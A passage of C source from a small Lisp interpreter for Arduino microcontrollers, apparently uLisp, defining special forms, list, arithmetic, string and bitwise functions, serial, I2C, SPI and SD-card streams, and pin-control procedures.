cdr(cdr(params));\n object *forms = cdr(args);\n while (list != NULL) {\n cdr(pair) = first(list);\n list = cdr(list);\n result = eval(tf_progn(forms,env), env);\n if (tstflag(RETURNFLAG)) {\n clrflag(RETURNFLAG);\n return result;\n }\n }\n cdr(pair) = nil;\n pop(GCStack);\n if (params == NULL) return nil;\n return eval(car(params), env);\n}\n\nobject *sp_dotimes (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n object *result;\n int count = integer(eval(second(params), env));\n int index = 0;\n params = cdr(cdr(params));\n object *pair = cons(var,number(0));\n push(pair,env);\n object *forms = cdr(args);\n while (index < count) {\n cdr(pair) = number(index);\n index++;\n result = eval(tf_progn(forms,env), env);\n if (tstflag(RETURNFLAG)) {\n clrflag(RETURNFLAG);\n return result;\n }\n }\n cdr(pair) = number(index);\n if (params == NULL) return nil;\n return eval(car(params), env);\n}\n\nobject *sp_trace (object *args, object *env) {\n (void) env;\n while (args != NULL) {\n trace(first(args)->name);\n args = cdr(args);\n }\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] != 0) args = cons(symbol(TraceFn[i]), args);\n i++;\n }\n return args;\n}\n\nobject *sp_untrace (object *args, object *env) {\n (void) env;\n if (args == NULL) {\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] != 0) args = cons(symbol(TraceFn[i]), args);\n TraceFn[i] = 0;\n i++;\n }\n } else {\n while (args != NULL) {\n untrace(first(args)->name);\n args = cdr(args);\n }\n }\n return args;\n}\n\nobject *sp_formillis (object *args, object *env) {\n object *param = first(args);\n unsigned long start = millis();\n unsigned long now, total = 0;\n if (param != NULL) total = integer(first(param));\n eval(tf_progn(cdr(args),env), env);\n do {\n now = millis() - start;\n testescape();\n } while (now < total);\n if (now <= INT_MAX) return number(now);\n return nil;\n}\n\nobject *sp_withserial (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n int address = integer(eval(second(params), env));\n params = cddr(params);\n int baud = 96;\n if (params != NULL) baud = integer(eval(first(params), env));\n object *pair = cons(var, stream(SERIALSTREAM, address));\n push(pair,env);\n serialbegin(address, baud);\n object *forms = cdr(args);\n object *result = eval(tf_progn(forms,env), env);\n serialend(address);\n return result;\n}\n\nobject *sp_withi2c (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n int address = integer(eval(second(params), env));\n params = cddr(params);\n int read = 0; \/\/ Write\n I2CCount = 0;\n if (params != NULL) {\n object *rw = eval(first(params), env);\n if (numberp(rw)) I2CCount = integer(rw);\n read = (rw != NULL);\n }\n I2Cinit(1); \/\/ Pullups\n object *pair = cons(var, (I2Cstart(address, read)) ? stream(I2CSTREAM, address) : nil);\n push(pair,env);\n object *forms = cdr(args);\n object *result = eval(tf_progn(forms,env), env);\n I2Cstop(read);\n return result;\n}\n\nobject *sp_withspi (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n int pin = integer(eval(second(params), env));\n int divider = 0, mode = 0, bitorder = 1;\n object *pair = cons(var, stream(SPISTREAM, pin));\n push(pair,env);\n SPI.begin();\n params = cddr(params);\n if (params != NULL) {\n int d = integer(eval(first(params), env));\n if (d<1 || d>7) error(PSTR(\"'with-spi' invalid divider\"));\n if (d == 7) divider = 3;\n else if (d & 1) divider = (d>>1) + 4;\n else divider = (d>>1) - 1;\n params = cdr(params);\n if (params != NULL) {\n bitorder = (eval(first(params), env) == NULL);\n params = cdr(params);\n if (params != NULL) mode = integer(eval(first(params), env));\n }\n }\n pinMode(pin, OUTPUT);\n digitalWrite(pin, LOW);\n SPI.setBitOrder((BitOrder)bitorder);\n SPI.setClockDivider(divider);\n SPI.setDataMode(mode);\n object *forms = cdr(args);\n object *result = eval(tf_progn(forms,env), env);\n digitalWrite(pin, HIGH);\n SPI.end();\n return result;\n}\n\nobject *sp_withsdcard (object *args, object *env) {\n#if defined(sdcardsupport)\n object *params = first(args);\n object *var = first(params);\n object *filename = eval(second(params), env);\n params = cddr(params);\n SD.begin(SDCARD_SS_PIN);\n int mode = 0;\n if (params != NULL && first(params) != NULL) mode = integer(first(params));\n int oflag = O_READ;\n if (mode == 1) oflag = O_RDWR | O_CREAT; else if (mode == 2) oflag = O_RDWR | O_CREAT | O_TRUNC;\n if (mode >= 1) {\n SDpfile = SD.open(MakeFilename(filename), oflag);\n if (!SDpfile) error(PSTR(\"Problem writing to SD card\"));\n } else {\n SDgfile = SD.open(MakeFilename(filename), oflag);\n if (!SDgfile) error(PSTR(\"Problem reading from SD card\"));\n }\n object *pair = cons(var, stream(SDSTREAM, 1));\n push(pair,env);\n object *forms = cdr(args);\n object *result = eval(tf_progn(forms,env), env);\n if (mode >= 1) SDpfile.close(); else SDgfile.close();\n return result;\n#else\n (void) args, (void) env;\n error(PSTR(\"with-sd-card not supported\"));\n return nil;\n#endif\n}\n\n\/\/ Tail-recursive forms\n\nobject *tf_progn (object *args, object *env) {\n if (args == NULL) return nil;\n object *more = cdr(args);\n while (more != NULL) {\n object *result = eval(car(args),env);\n if (tstflag(RETURNFLAG)) return result;\n args = more;\n more = cdr(args);\n }\n return car(args);\n}\n\nobject *tf_return (object *args, object *env) {\n setflag(RETURNFLAG);\n return tf_progn(args, env);\n}\n\nobject *tf_if (object *args, object *env) {\n if (eval(first(args), env) != nil) return second(args);\n args = cddr(args);\n return (args != NULL) ? first(args) : nil;\n}\n\nobject *tf_cond (object *args, object *env) {\n while (args != NULL) {\n object *clause = first(args);\n object *test = eval(first(clause), env);\n object *forms = cdr(clause);\n if (test != nil) {\n if (forms == NULL) return test; else return tf_progn(forms, env);\n }\n args = cdr(args);\n }\n return nil;\n}\n\nobject *tf_when (object *args, object *env) {\n if (eval(first(args), env) != nil) return tf_progn(cdr(args),env);\n else return nil;\n}\n\nobject *tf_unless (object *args, object *env) {\n if (eval(first(args), env) != nil) return nil;\n else return tf_progn(cdr(args),env);\n}\n\nobject *tf_and (object *args, object *env) {\n if (args == NULL) return tee;\n object *more = cdr(args);\n while (more != NULL) {\n if (eval(car(args), env) == NULL) return nil;\n args = more;\n more = cdr(args);\n }\n return car(args);\n}\n\nobject *tf_or (object *args, object *env) {\n object *more = cdr(args);\n while (more != NULL) {\n object *result = eval(car(args), env);\n if (result != NULL) return result;\n args = more;\n more = cdr(args);\n }\n return car(args);\n}\n\n\/\/ Core functions\n\nobject *fn_not (object *args, object *env) {\n (void) env;\n return (first(args) == nil) ? tee : nil;\n}\n\nobject *fn_cons (object *args, object *env) {\n (void) env;\n return cons(first(args),second(args));\n}\n\nobject *fn_atom (object *args, object *env) {\n (void) env;\n return atom(first(args)) ? tee : nil;\n}\n\nobject *fn_listp (object *args, object *env) {\n (void) env;\n return listp(first(args)) ? tee : nil;\n}\n\nobject *fn_consp (object *args, object *env) {\n (void) env;\n return consp(first(args)) ? tee : nil;\n}\n\nobject *fn_numberp (object *args, object *env) {\n (void) env;\n return numberp(first(args)) ? tee : nil;\n}\n\nobject *fn_symbolp (object *args, object *env) {\n (void) env;\n return symbolp(first(args)) ? tee : nil;\n}\n\nobject *fn_streamp (object *args, object *env) {\n (void) env;\n return streamp(first(args)) ? tee : nil;\n}\n\nobject *fn_eq (object *args, object *env) {\n (void) env;\n return eq(first(args), second(args)) ? tee : nil;\n}\n\n\/\/ List functions\n\nobject *fn_car (object *args, object *env) {\n (void) env;\n return carx(first(args));\n}\n\nobject *fn_cdr (object *args, object *env) {\n (void) env;\n return cdrx(first(args));\n}\n\nobject *fn_caar (object *args, object *env) {\n (void) env;\n return carx(carx(first(args)));\n}\n\nobject *fn_cadr (object *args, object *env) {\n (void) env;\n return carx(cdrx(first(args)));\n}\n\nobject *fn_cdar (object *args, object *env) {\n (void) env;\n return cdrx(carx(first(args)));\n}\n\nobject *fn_cddr (object *args, object *env) {\n (void) env;\n return cdrx(cdrx(first(args)));\n}\n\nobject *fn_caaar (object *args, object *env) {\n (void) env;\n return carx(carx(carx(first(args))));\n}\n\nobject *fn_caadr (object *args, object *env) {\n (void) env;\n return carx(carx(cdrx(first(args))));\n}\n\nobject *fn_cadar (object *args, object *env) {\n (void) env;\n return carx(cdrx(carx(first(args))));\n}\n\nobject *fn_caddr (object *args, object *env) {\n (void) env;\n return carx(cdrx(cdrx(first(args))));\n}\n\nobject *fn_cdaar (object *args, object *env) {\n (void) env;\n return cdrx(carx(carx(first(args))));\n}\n\nobject *fn_cdadr (object *args, object *env) {\n (void) env;\n return cdrx(carx(cdrx(first(args))));\n}\n\nobject *fn_cddar (object *args, object *env) {\n (void) env;\n return cdrx(cdrx(carx(first(args))));\n}\n\nobject *fn_cdddr (object *args, object *env) {\n (void) env;\n return cdrx(cdrx(cdrx(first(args))));\n}\n\nobject *fn_length (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n if (listp(arg)) return number(listlength(arg));\n if (!stringp(arg)) error(PSTR(\"'length' argument is not a list or string\"));\n return number(stringlength(arg));\n}\n\nobject *fn_list (object *args, object *env) {\n (void) env;\n return args;\n}\n\nobject *fn_reverse (object *args, object *env) {\n (void) env;\n object *list = first(args);\n if (!listp(list)) error(PSTR(\"'reverse' argument is not a list\"));\n object *result = NULL;\n while (list != NULL) {\n push(first(list),result);\n list = cdr(list);\n }\n return result;\n}\n\nobject *fn_nth (object *args, object *env) {\n (void) env;\n int n = integer(first(args));\n object *list = second(args);\n if (!listp(list)) error(PSTR(\"'nth' second argument is not a list\"));\n while (list != NULL) {\n if (n == 0) return car(list);\n list = cdr(list);\n n--;\n }\n return nil;\n}\n\nobject *fn_assoc (object *args, object *env) {\n (void) env;\n object *key = first(args);\n object *list = second(args);\n if (!listp(list)) error(PSTR(\"'assoc' second argument is not a list\"));\n return assoc(key,list);\n}\n\nobject *fn_member (object *args, object *env) {\n (void) env;\n object *item = first(args);\n object *list = second(args);\n if (!listp(list)) error(PSTR(\"'member' second argument is not a list\"));\n while (list != NULL) {\n if (eq(item,car(list))) return list;\n list = cdr(list);\n }\n return nil;\n}\n\nobject *fn_apply (object *args, object *env) {\n object *previous = NULL;\n object *last = args;\n while (cdr(last) != NULL) {\n previous = last;\n last = cdr(last);\n }\n if (!listp(car(last))) error(PSTR(\"'apply' last argument is not a list\"));\n cdr(previous) = car(last);\n return apply(first(args), cdr(args), &env);\n}\n\nobject *fn_funcall (object *args, object *env) {\n return apply(first(args), cdr(args), &env);\n}\n\nobject *fn_append (object *args, object *env) {\n (void) env;\n object *head = NULL;\n object *tail = NULL;\n while (args != NULL) {\n object *list = first(args);\n if (!listp(list)) error(PSTR(\"'append' argument is not a list\"));\n while (list != NULL) {\n object *obj = cons(first(list),NULL);\n if (head == NULL) {\n head = obj;\n tail = obj;\n } else {\n cdr(tail) = obj;\n tail = obj;\n }\n list = cdr(list);\n }\n args = cdr(args);\n }\n return head;\n}\n\nobject *fn_mapc (object *args, object *env) {\n object *function = first(args);\n object *list1 = second(args);\n object *result = list1;\n if (!listp(list1)) error(PSTR(\"'mapc' second argument is not a list\"));\n object *list2 = cddr(args);\n if (list2 != NULL) {\n list2 = car(list2);\n if (!listp(list2)) error(PSTR(\"'mapc' third argument is not a list\"));\n }\n if (list2 != NULL) {\n while (list1 != NULL && list2 != NULL) {\n apply(function, cons(car(list1),cons(car(list2),NULL)), &env);\n list1 = cdr(list1);\n list2 = cdr(list2);\n }\n } else {\n while (list1 != NULL) {\n apply(function, cons(car(list1),NULL), &env);\n list1 = cdr(list1);\n }\n }\n return result;\n}\n\nobject *fn_mapcar (object *args, object *env) {\n object *function = first(args);\n object *list1 = second(args);\n if (!listp(list1)) error(PSTR(\"'mapcar' second argument is not a list\"));\n object *list2 = cddr(args);\n if (list2 != NULL) {\n list2 = car(list2);\n if (!listp(list2)) error(PSTR(\"'mapcar' third argument is not a list\"));\n }\n object *head = NULL;\n object *tail = NULL;\n if (list2 != NULL) {\n while (list1 != NULL && list2 != NULL) {\n object *result = apply(function, cons(car(list1),cons(car(list2),NULL)), &env);\n object *obj = cons(result,NULL);\n if (head == NULL) {\n head = obj;\n push(head,GCStack);\n tail = obj;\n } else {\n cdr(tail) = obj;\n tail = obj;\n }\n list1 = cdr(list1);\n list2 = cdr(list2);\n }\n pop(GCStack);\n } else if (list1 != NULL) {\n while (list1 != NULL) {\n object *result = apply(function, cons(car(list1),NULL), &env);\n object *obj = cons(result,NULL);\n if (head == NULL) {\n head = obj;\n push(head,GCStack);\n tail = obj;\n } else {\n cdr(tail) = obj;\n tail = obj;\n }\n list1 = cdr(list1);\n }\n pop(GCStack);\n }\n return head;\n}\n\n\/\/ Arithmetic functions\n\nobject *fn_add (object *args, object *env) {\n (void) env;\n int result = 0;\n while (args != NULL) {\n int temp = integer(car(args));\n #if defined(checkoverflow)\n if (temp < 1) { if (INT_MIN - temp > result) error(PSTR(\"'+' arithmetic overflow\")); }\n else { if (INT_MAX - temp < result) error(PSTR(\"'+' arithmetic overflow\")); }\n #endif\n result = result + temp;\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_subtract (object *args, object *env) {\n (void) env;\n int result = integer(car(args));\n args = cdr(args);\n if (args == NULL) {\n #if defined(checkoverflow)\n if (result == INT_MIN) error(PSTR(\"'-' arithmetic overflow\"));\n #endif\n return number(-result);\n }\n while (args != NULL) {\n int temp = integer(car(args));\n #if defined(checkoverflow)\n if (temp < 1) { if (INT_MAX + temp < result) error(PSTR(\"'-' arithmetic overflow\")); }\n else { if (INT_MIN + temp > result) error(PSTR(\"'-' arithmetic overflow\")); }\n #endif\n result = result - temp;\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_multiply (object *args, object *env) {\n (void) env;\n int result = 1;\n while (args != NULL){\n #if defined(checkoverflow)\n signed long temp = (signed long) result * integer(car(args));\n if ((temp > INT_MAX) || (temp < INT_MIN)) error(PSTR(\"'*' arithmetic overflow\"));\n result = temp;\n #else\n result = result * integer(car(args));\n #endif\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_divide (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg = integer(car(args));\n if (arg == 0) error(PSTR(\"Division by zero\"));\n #if defined(checkoverflow)\n if ((result == INT_MIN) && (arg == -1)) error(PSTR(\"'\/' arithmetic overflow\"));\n #endif\n result = result \/ arg;\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_mod (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n int arg2 = integer(second(args));\n if (arg2 == 0) error(PSTR(\"Division by zero\"));\n int r = arg1 % arg2;\n if ((arg1<0) != (arg2<0)) r = r + arg2;\n return number(r);\n}\n\nobject *fn_oneplus (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n #if defined(checkoverflow)\n if (result == INT_MAX) error(PSTR(\"'1+' arithmetic overflow\"));\n #endif\n return number(result + 1);\n}\n\nobject *fn_oneminus (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n #if defined(checkoverflow)\n if (result == INT_MIN) error(PSTR(\"'1-' arithmetic overflow\"));\n #endif\n return number(result - 1);\n}\n\nobject *fn_abs (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n #if defined(checkoverflow)\n if (result == INT_MIN) error(PSTR(\"'abs' arithmetic overflow\"));\n #endif\n return number(abs(result));\n}\n\nobject *fn_random (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n return number(random(arg));\n}\n\nobject *fn_max (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n result = max(result,integer(car(args)));\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_min (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n result = min(result,integer(car(args)));\n args = cdr(args);\n }\n return number(result);\n}\n\n\/\/ Arithmetic comparisons\n\nobject *fn_numeq (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 == arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_less (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 < arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_lesseq (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 <= arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_greater (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 > arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_greatereq (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 >= arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_noteq (object *args, object *env) {\n (void) env;\n while (args != NULL) { \n object *nargs = args;\n int arg1 = integer(first(nargs));\n nargs = cdr(nargs);\n while (nargs != NULL) {\n int arg2 = integer(first(nargs));\n if (arg1 == arg2) return nil;\n nargs = cdr(nargs);\n }\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_plusp (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n if (arg > 0) return tee;\n else return nil;\n}\n\nobject *fn_minusp (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n if (arg < 0) return tee;\n else return nil;\n}\n\nobject *fn_zerop (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n if (arg == 0) return tee;\n else return nil;\n}\n\nobject *fn_oddp (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n if ((arg & 1) == 1) return tee;\n else return nil;\n}\n\nobject *fn_evenp (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n if ((arg & 1) == 0) return tee;\n else return nil;\n}\n\n\/\/ Characters\n\nobject *fn_char (object *args, object *env) {\n (void) env;\n char c = nthchar(first(args), integer(second(args)));\n if (c == 0) error(PSTR(\"'char' index out of range\"));\n return character(c);\n}\n\nobject *fn_charcode (object *args, object *env) {\n (void) env;\n return number(fromchar(first(args)));\n}\n\nobject *fn_codechar (object *args, object *env) {\n (void) env;\n return character(integer(first(args)));\n}\n\nobject *fn_characterp (object *args, object *env) {\n (void) env;\n return characterp(first(args)) ? tee : nil;\n}\n\n\/\/ Strings\n\nobject *fn_stringp (object *args, object *env) {\n (void) env;\n return stringp(first(args)) ? tee : nil;\n}\n\nbool stringcompare (object *args, bool lt, bool gt, bool eq) {\n object *arg1 = first(args);\n object *arg2 = second(args);\n if (!stringp(arg1) || !stringp(arg2)) error(PSTR(\"String compare argument is not a string\"));\n arg1 = cdr(arg1);\n arg2 = cdr(arg2);\n while ((arg1 != NULL) || (arg2 != NULL)) {\n if (arg1 == NULL) return lt;\n if (arg2 == NULL) return gt;\n if (arg1->integer < arg2->integer) return lt;\n if (arg1->integer > arg2->integer) return gt;\n arg1 = car(arg1);\n arg2 = car(arg2);\n }\n return eq;\n}\n\nobject *fn_stringeq (object *args, object *env) {\n (void) env;\n return stringcompare(args, false, false, true) ? tee : nil;\n}\n\nobject *fn_stringless (object *args, object *env) {\n (void) env;\n return stringcompare(args, true, false, false) ? tee : nil;\n}\n\nobject *fn_stringgreater (object *args, object *env) {\n (void) env;\n return stringcompare(args, false, true, false) ? tee : nil;\n}\n\nobject *fn_sort (object *args, object *env) {\n if (first(args) == NULL) return nil;\n object *list = cons(nil,first(args));\n push(list,GCStack);\n object *predicate = second(args);\n object *compare = cons(NULL,cons(NULL,NULL));\n object *ptr = cdr(list);\n while (cdr(ptr) != NULL) {\n object *go = list;\n while (go != ptr) {\n car(compare) = car(cdr(ptr));\n car(cdr(compare)) = car(cdr(go));\n if (apply(predicate, compare, &env)) break;\n go = cdr(go);\n }\n if (go != ptr) {\n object *obj = cdr(ptr);\n cdr(ptr) = cdr(obj);\n cdr(obj) = cdr(go);\n cdr(go) = obj;\n } else ptr = cdr(ptr);\n }\n pop(GCStack);\n return cdr(list);\n}\n\nobject *fn_stringfn (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n int type = arg->type;\n if (type == STRING) return arg;\n object *obj = myalloc();\n obj->type = STRING;\n if (type == CHARACTER) {\n object *cell = myalloc();\n cell->car = NULL;\n cell->integer = fromchar(arg)<<8;\n obj->cdr = cell;\n } else if (type == SYMBOL) {\n char *s = name(arg);\n char ch = *s++;\n object *head = NULL;\n int chars = 0;\n while (ch) {\n if (ch == '\\\\') ch = *s++;\n buildstring(ch, &chars, &head);\n ch = *s++;\n }\n obj->cdr = head;\n } else error(PSTR(\"Cannot convert to string\"));\n return obj;\n}\n\nobject *fn_concatenate (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n symbol_t name = arg->name;\n if (name != STRINGFN) error(PSTR(\"Only string result supported\"));\n args = cdr(args);\n object *result = myalloc();\n result->type = STRING;\n object *head = NULL;\n int chars = 0;\n while (args != NULL) {\n object *obj = first(args);\n if (obj->type != STRING) error2(obj, PSTR(\"not a string\"));\n obj = cdr(obj);\n while (obj != NULL) {\n int quad = obj->integer;\n while (quad != 0) {\n char ch = quad>>((sizeof(int)-1)*8) & 0xFF;\n buildstring(ch, &chars, &head);\n quad = quad<<8;\n }\n obj = car(obj);\n }\n args = cdr(args);\n }\n result->cdr = head;\n return result;\n}\n\nobject *fn_subseq (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n if (!stringp(arg)) error(PSTR(\"'subseq' first argument is not a string\"));\n int start = integer(second(args));\n int end;\n args = cddr(args);\n if (args != NULL) end = integer(car(args)); else end = stringlength(arg);\n object *result = myalloc();\n result->type = STRING;\n object *head = NULL;\n int chars = 0;\n for (int i=start; i<end; i++) {\n char ch = nthchar(arg, i);\n if (ch == 0) error(PSTR(\"'subseq' index out of range\"));\n buildstring(ch, &chars, &head);\n }\n result->cdr = head;\n return result;\n}\n\nint gstr () {\n if (LastChar) { \n char temp = LastChar;\n LastChar = 0;\n return temp;\n }\n char c = nthchar(GlobalString, GlobalStringIndex++);\n return (c != 0) ? c : '\\n';\n}\n\nobject *fn_readfromstring (object *args, object *env) { \n (void) env;\n object *arg = first(args);\n if (!stringp(arg)) error(PSTR(\"'read-from-string' argument is not a string\"));\n GlobalString = arg;\n GlobalStringIndex = 0;\n return read(gstr);\n}\n\nvoid pstr (char c) {\n buildstring(c, &GlobalStringIndex, &GlobalString);\n}\n \nobject *fn_princtostring (object *args, object *env) { \n (void) env;\n object *arg = first(args);\n object *obj = myalloc();\n obj->type = STRING;\n GlobalString = NULL;\n GlobalStringIndex = 0;\n char temp = PrintReadably;\n PrintReadably = 0;\n printobject(arg, pstr);\n PrintReadably = temp;\n obj->cdr = GlobalString;\n return obj;\n}\n\nobject *fn_prin1tostring (object *args, object *env) { \n (void) env;\n object *arg = first(args);\n object *obj = myalloc();\n obj->type = STRING;\n GlobalString = NULL;\n GlobalStringIndex = 0;\n printobject(arg, pstr);\n obj->cdr = GlobalString;\n return obj;\n}\n\n\/\/ Bitwise operators\n\nobject *fn_logand (object *args, object *env) {\n (void) env;\n int result = -1;\n while (args != NULL) {\n result = result & integer(first(args));\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_logior (object *args, object *env) {\n (void) env;\n int result = 0;\n while (args != NULL) {\n result = result | integer(first(args));\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_logxor (object *args, object *env) {\n (void) env;\n int result = 0;\n while (args != NULL) {\n result = result ^ integer(first(args));\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_lognot (object *args, object *env) {\n (void) env;\n int result = integer(car(args));\n return number(~result);\n}\n\nobject *fn_ash (object *args, object *env) {\n (void) env;\n int value = integer(first(args));\n int count = integer(second(args));\n if (count >= 0)\n return number(value << count);\n else\n return number(value >> abs(count));\n}\n\nobject *fn_logbitp (object *args, object *env) {\n (void) env;\n int index = integer(first(args));\n int value = integer(second(args));\n return (bitRead(value, index) == 1) ? tee : nil;\n}\n\n\/\/ System functions\n\nobject *fn_eval (object *args, object *env) {\n return eval(first(args), env);\n}\n\nobject *fn_globals (object *args, object *env) {\n (void) args;\n if (GlobalEnv == NULL) return nil;\n return fn_mapcar(cons(symbol(CAR),cons(GlobalEnv,nil)), env);\n}\n\nobject *fn_locals (object *args, object *env) {\n (void) args;\n return env;\n}\n\nobject *fn_makunbound (object *args, object *env) {\n (void) env;\n object *key = first(args);\n deletesymbol(key->name);\n return delassoc(key, &GlobalEnv);\n}\n\nobject *fn_break (object *args, object *env) {\n (void) args;\n pfstring(PSTR(\"\\rBreak!\\r\"), pserial);\n BreakLevel++;\n repl(env);\n BreakLevel--;\n return nil;\n}\n\nobject *fn_read (object *args, object *env) {\n (void) env;\n gfun_t gfun = gstreamfun(args);\n return read(gfun);\n}\n\nobject *fn_prin1 (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n printobject(obj, pfun);\n return obj;\n}\n\nobject *fn_print (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n pln(pfun);\n printobject(obj, pfun);\n (pfun)(' ');\n return obj;\n}\n\nobject *fn_princ (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n char temp = PrintReadably;\n PrintReadably = 0;\n printobject(obj, pfun);\n PrintReadably = temp;\n return obj;\n}\n\nobject *fn_terpri (object *args, object *env) {\n (void) env;\n pfun_t pfun = pstreamfun(args);\n pln(pfun);\n return nil;\n}\n\nobject *fn_readbyte (object *args, object *env) {\n (void) env;\n gfun_t gfun = gstreamfun(args);\n int c = gfun();\n return (c == EOF) ? nil : number(c);\n}\n\nobject *fn_readline (object *args, object *env) {\n (void) env;\n gfun_t gfun = gstreamfun(args);\n return readstring('\\n', gfun);\n}\n\nobject *fn_writebyte (object *args, object *env) {\n (void) env;\n int value = integer(first(args));\n pfun_t pfun = pstreamfun(cdr(args));\n (pfun)(value);\n return nil;\n}\n\nobject *fn_writestring (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n char temp = PrintReadably;\n PrintReadably = 0;\n printstring(obj, pfun);\n PrintReadably = temp;\n return nil;\n}\n\nobject *fn_writeline (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n char temp = PrintReadably;\n PrintReadably = 0;\n printstring(obj, pfun);\n (pfun)('\\n');\n PrintReadably = temp;\n return nil;\n}\n\nobject *fn_restarti2c (object *args, object *env) {\n (void) env;\n int stream = first(args)->integer;\n args = cdr(args);\n int read = 0; \/\/ Write\n I2CCount = 0;\n if (args != NULL) {\n object *rw = first(args);\n if (numberp(rw)) I2CCount = integer(rw);\n read = (rw != NULL);\n }\n int address = stream & 0xFF;\n if (stream>>8 != I2CSTREAM) error(PSTR(\"'restart' not i2c\"));\n return I2Crestart(address, read) ? tee : nil;\n}\n\nobject *fn_gc (object *obj, object *env) {\n int initial = Freespace;\n unsigned long start = micros();\n gc(obj, env);\n unsigned long elapsed = micros() - start;\n pfstring(PSTR(\"Space: \"), pserial);\n pint(Freespace - initial, pserial);\n pfstring(PSTR(\" bytes, Time: \"), pserial);\n pint(elapsed, pserial);\n pfstring(PSTR(\" uS\\r\"), pserial);\n return nil;\n}\n\nobject *fn_room (object *args, object *env) {\n (void) args, (void) env;\n return number(Freespace);\n}\n\nobject *fn_saveimage (object *args, object *env) {\n if (args != NULL) args = eval(first(args), env);\n return number(saveimage(args));\n}\n\nobject *fn_loadimage (object *args, object *env) {\n (void) env;\n if (args != NULL) args = first(args);\n return number(loadimage(args));\n}\n\nobject *fn_cls(object *args, object *env) {\n (void) args, (void) env;\n pserial(12);\n return nil;\n}\n\n\/\/ Arduino procedures\n\nobject *fn_pinmode (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n object *mode = second(args);\n if (numberp(mode)) pinMode(pin, mode->integer);\n else pinMode(pin, (mode != nil));\n return nil;\n}\n\nobject *fn_digitalread (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n if(digitalRead(pin) != 0) return tee; else return nil;\n}\n\nobject *fn_digitalwrite (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n object *mode = second(args);\n digitalWrite(pin, (mode != nil));\n return mode;\n}\n\nobject *fn_analogread (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n checkanalogread(pin);\n return number(analogRead(pin));\n}\n \nobject *fn_analogwrite (object *args, object *env) {\n (void) env;\n int pin = integer(first(args));\n checkanalogwrite(pin);\n object *value = second(args);\n analogWrite(pin, integer(value));\n return value;\n}\n\nobject *fn_delay (object *args, object *env) {\n (void) env;\n object *arg1 = first(args);\n delay(integer(arg1));\n return arg1;\n}\n\nobject *fn_millis (object *args, object *env) {\n (void) args, (void) env;\n return number(millis());\n}\n\nobject *fn_note (object *args, object *env) {\n (void) env;\n static int pin = 255;\n if (args != NULL) {\n pin = integer(first(args));\n int note = integer(second(args));\n int octave = 0;\n if (cddr(args) != NULL) octave = integer(third(args));\n playnote(pin, note, octave);\n } else nonote(pin);\n return nil;\n}\n\n\/\/ Tree Editor\n\nobject *fn_edit (object *args, object *env) {\n object *fun = first(args);\n object *pair = findvalue(fun, env);\n clrflag(EXITEDITOR);\n object *arg = edit(eval(fun, env));\n cdr(pair) = arg;\n return arg;\n}\n\nobject *edit (object *fun) {\n while (1) {\n if 